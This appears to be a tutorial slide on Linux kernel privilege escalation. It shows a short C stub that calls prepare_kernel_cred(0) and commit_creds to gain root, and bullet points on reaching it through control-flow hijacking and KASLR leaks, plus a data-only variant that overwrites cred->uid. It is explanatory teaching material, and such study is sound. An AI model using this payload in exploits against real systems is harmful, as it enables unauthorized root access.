The Payload: commit_creds(prepare_kernel_cred(0))

/* Conceptual only -- fragile, kernel/version specific. */
void privesc(void) {
    /* Build a fresh set of root credentials ... */
    struct cred *root = prepare_kernel_cred(0);  /* uid=gid=0 */
    /* ... and install them on the current task. */
    commit_creds(root);
}

• These two kernel functions are the canonical LPE primitive: prepare_kernel_cred(0) allocates root creds, commit_creds applies them to the running task.
• If you hijack control flow, you point execution at a small stub that performs exactly these calls (addresses found via a KASLR leak or a fixed kernel image).
• Data-only variant: skip the calls entirely — just write zeros over your task's cred->uid through your read/write primitive.
• After it runs, the current process is uid 0.